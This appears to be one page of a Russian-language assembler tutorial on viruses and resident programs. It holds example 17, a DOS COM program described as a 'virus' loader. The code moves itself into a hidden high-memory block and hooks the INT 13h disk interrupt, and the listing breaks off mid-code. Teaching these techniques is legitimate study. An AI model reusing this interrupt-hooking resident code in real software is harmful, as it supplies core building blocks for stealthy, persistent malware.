CodeNet / Языки программирования / Ассемблер / "Вирусы", "Черви", "Драконы" и резиденты на службе прогресса.
"Вирусы", "Черви", "Драконы" и резиденты на службе прогресса.
Вот и сама программа, реализующая представленную блок/схему:
-----------------------------------------------------------¬
¦ пример 17 ¦:
L-----------------------------------------------------------
TITLE Это - COM. программа N17 -- вирус, выполняющий функции загрузчика
ASSUME CS:CodeSegment
;-------------------------------------------------------------------------
CodeSegment SEGMENT PARA
ORG(100h)
Start:
MainProcedure PROC NEAR
;
;
head: JMP Short initial ;прыжок через данные
;
;------------------------------ данные -----------------¬
header_info DB 62 DUP(0) ;хранилище настроек ¦
; ; ¦
; ;данные (хранилище для ¦
saved_int13: DD 0 ; адреса стандартного обра- ¦
;¦ ; ботчика прерывания 13 ¦
;L---------------------- -- 2 слова) --------------------
;
;
;---посадка резидента в MCB-блок------------------------¬
;L-------------------------------------------------------
initial: MOV AX,CS:[02] ;берем вершину свободной памяти
; ; (в параграфах)
;
SUB AX,20h ;уменьшаем ее на 20h (в парагр.)
;
MOV SI,OFFSET head ;копируем из источника DS:head
MOV ES,AX ;копируем в приемник ES:00; в ES
XOR DI,DI ; - новая вершина своб. памяти
MOV CX,rezident_end - head
CLD
REPE MOVSB
;
MOV BX,DS ;уменьшаем размер МСВ-блока
DEC BX ;уменьшаем вершину свободной
MOV DS,BX ; памяти
SUB word ptr DS:[03h],20h
SUB word ptr DS:[12h],20h
;
XOR BX,BX ; сохраняем старый вектор
MOV DS,BX ; 13h в переслан. копии
MOV AX,DS:[13h*4+0]
MOV word ptr ES:[saved_int13-100h+0],AX
MOV AX,DS:[13h*4+2]
MOV word ptr ES:[saved_int13-100h+2],AX
;
CLI ;кладем в таблицу векторов наш адр.
MOV word ptr DS:[13h*4+0],OFFSET int13_treater-100h ;->OFFSET
MOV word ptr DS:[13h*4+2],ES ;------>SEGMENT
STI
;
PUSH CS ; DS = CS (потом пригодится)
POP DS
;
PUSH ES ; переходим на продолжение (метка
MOV AX,resended-head ; resended), но уже в резидент-
PUSH AX ; ной копии
RETF ;
;
resended: ;---корректировка настраиваемых элементов--------------¬
;L------------------------------------------------------
MOV DX,DS
ADD DX,10h ; DX = сегментн. адрес конца PSP
MOV DI,DS:[118h] ; DI = адрес relocation table
ADD DI,100h ;
Назад
|
Далее
